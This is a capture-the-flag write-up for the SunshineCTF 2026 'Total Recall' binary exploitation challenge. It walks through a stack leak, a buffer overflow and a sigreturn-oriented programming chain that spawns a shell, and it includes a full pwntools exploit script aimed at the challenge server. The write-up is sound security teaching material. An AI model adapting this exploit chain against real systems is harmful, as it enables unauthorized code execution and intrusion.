$ cat writeup.md…
$ cat writeup.md…
sunshinectf2026
Task: tiny static stripped no-libc x86-64 ELF with a stack leak and a 1024-byte overflow but no register-loading ROP gadgets and an enforced NX stack. Solution: SROP — use a read gadget whose return value sets rax to 15 (rt_sigreturn), then a sigreturn frame invokes execve('/bin/sh').
Total Recall nc chal.sunshinectf.games 26003
English summary: A minimal statically-linked, stripped, no-libc x86-64 binary leaks a stack address and then grants a large stack overflow with full RIP control. There are no register-loading gadgets and the remote stack is non-executable, so the intended path is Sigreturn-Oriented Programming (SROP) to build execve("/bin/sh", NULL, NULL).
total_recall: 4416-byte ELF64, statically linked, stripped, only a .text section.0x400000, entry 0x401000, non-PIE.file reports nx=false (no GNU_STACK PT), but the remote kernel enforces a non-executable stack — plain shellcode fails.Program logic:
0x401000: call 0x401016 (leak + small read); call 0x40104f (big read/overflow); then exit(0).0x401016 (stage 1):
push rspmov rsi,rsp ; write(1, rsp, 8) → leaks 8 bytes of stack (the pushed rsp value)pop raxlea rsi,[rsp-0x40] ; read(0, rsp-0x40, 24)ret0x40104f (stage 2):
lea rsi,[rsp-0x80] ; read(0, rsp-0x80, 0x400=1024)ret ← stack buffer overflow, full RIP controlLeak semantics (critical off-by-8 pitfall). push rsp stores the pre-decrement value of RSP. So the leaked value equals S-8, where S is the entry RSP. Therefore S = leak + 8. Assuming S = leak + 16 breaks everything by 8 bytes — this was the initial failed attempt.
Overflow offset. The stage-2 read buffer starts at S - 0x88. The saved return address to overwrite sits at offset 0x80 from that buffer start (buf_start + 0x80). Confirmed by returning into 0x401000 and observing a second identical leak — proving both the offset math and full RIP control.
Why shellcode fails. Returning into the stack buffer produces no output and a connection reset (RST): the remote stack is NX. RIP control is proven (return-to-entry re-leaks), so the crash is execution policy, not a wrong offset.
Why classic ROP fails. ROPgadget shows no pop rdi/rsi/rdx/rax gadgets. Only bare syscall stubs exist:
0x401045: mov rax,0 ; syscall ; ret (read)0x401028: mov rax,1 ; syscall ; ret (write)0x40104c: syscall ; ret (generic)There is no way to load arbitrary registers by popping — so execve cannot be set up with a normal ROP chain.
write(1, rsp, 8) discloses a stack address (push rsp value), defeating stack ASLR.read(0, rsp-0x80, 0x400) overflows the stack buffer, overwriting the saved return address at buf_start + 0x80 → arbitrary control of RIP and the following stack contents.The only way to place an arbitrary value in rax is a syscall return value, and read returns the number of bytes actually read. rt_sigreturn is syscall 15, so a read that returns exactly 15 leaves rax = 15; a subsequent syscall then performs rt_sigreturn, which restores the entire register set from a sigcontext frame lying on the stack.
Register state right after the overflow read returns: rax = bytes_sent, rdi = 0 (stdin), rsi = buf_start, rdx = 0x400.
0x401045 (mov rax,0 ; syscall ; ret) → executes read(0, buf, 0x400). Send exactly 15 bytes so this read returns 15, giving rax = 15.0x40104c (syscall ; ret) with rax = 15 → rt_sigreturn, which pops the crafted SigreturnFrame that immediately follows on the stack.rip = 0x40104c (a syscall gadget), rax = 59 (execve), rdi = &"/bin/sh", rsi = 0, rdx = 0, cs = 0x33, ss = 0x2b → execve("/bin/sh", NULL, NULL) → shell."/bin/sh" is placed inside the overflow buffer at an offset not clobbered by the 15-byte read (which writes at buffer offset 0), e.g. offset 0x40 in the padding region. Its absolute address is computed from the leak.
Byte-count probe that confirmed the primitive: sweeping the second read's byte count showed rax == N; N=14 invoked rt_sigprocmask, N=15 invoked rt_sigreturn — proving the read return value controls the syscall number.
buf_start)0x00..0x7f: padding (0x90), with "/bin/sh\0" at offset 0x40.0x80: p64(0x401045) — read gadget → rax = 150x88: p64(0x40104c) — syscall → rt_sigreturn, consumes the frame that follows0x90+: the SigreturnFrame bytesThen send exactly 15 bytes to satisfy the read gadget, and a shell is obtained.
#!/usr/bin/env python3 from pwn import * import sys, time context.arch = 'amd64' REMOTE = ('chal.sunshinectf.games', 26003) LOCAL_BIN = './total_recall' READ_GADGET = 0x401045 # mov rax,0 ; syscall ; ret SYSCALL_RET = 0x40104c # syscall ; ret mode = sys.argv[1] if len(sys.argv) > 1 else 'remote' io = process(LOCAL_BIN) if mode == 'local' else remote(*REMOTE) # Stage 1: leak the pushed rsp value; push rsp stores S-8 => S = leak + 8 leak = u64(io.recv(8)) S = leak + 8 buf_start = S - 0x88 # stage-2 buffer; ret slot at buf_start + 0x80 # satisfy the stage-1 read(0, S-0x40, 24) io.send(b'A' * 24) time.sleep(0.3) binsh_off = 0x40 # not clobbered by the 15-byte read at offset 0 binsh_addr = buf_start + binsh_off # sigreturn frame -> execve("/bin/sh", 0, 0) frame = SigreturnFrame() frame.rip = SYSCALL_RET frame.rax = 59 # execve frame.rdi = binsh_addr frame.rsi = 0 frame.rdx = 0 frame.rsp = buf_start + 0x200 payload = bytearray(b'\x90' * 0x80) payload[binsh_off:binsh_off + 8] = b'/bin/sh\x00' payload = bytes(payload) payload += p64(READ_GADGET) # ret slot: read(0, buf, 0x400) -> rax=15 payload += p64(SYSCALL_RET) # rax=15 -> rt_sigreturn, frame follows payload += bytes(frame) io.send(payload) time.sleep(0.4) # make the read gadget return exactly 15 -> rax = 15 (rt_sigreturn) io.send(b'B' * 15) time.sleep(0.4) io.sendline(b'cat flag.txt /flag* 2>/dev/null') io.interactive()
push rsp off-by-8. The pushed value is the pre-decrement RSP, so leak = S - 8 and S = leak + 8. Getting this wrong by 8 bytes silently breaks the chain.nx=false. The ELF has no GNU_STACK segment so file says the stack is executable, but the remote kernel enforces NX — shellcode-to-stack fails even though RIP control is real.syscall/mov rax,imm;syscall stubs, SROP is the only practical way to control all registers; rax is set solely via a syscall return value.sigset size during rt_sigreturn; validate against the native remote Linux target.Use SROP with a read-return-value rax primitive when:
.text section.ROPgadget finds no pop rdi/rsi/rdx/rax — only bare syscall/mov rax,imm;syscall stubs.read/other syscall gadget is available so its return value can be forced to 15 → rt_sigreturn, restoring a crafted sigcontext for execve("/bin/sh").$ cat /etc/motd
Liked this one?
Pro unlocks every complete writeup and expanded API access. $9/mo.
$ cat pricing.md$ grep --similar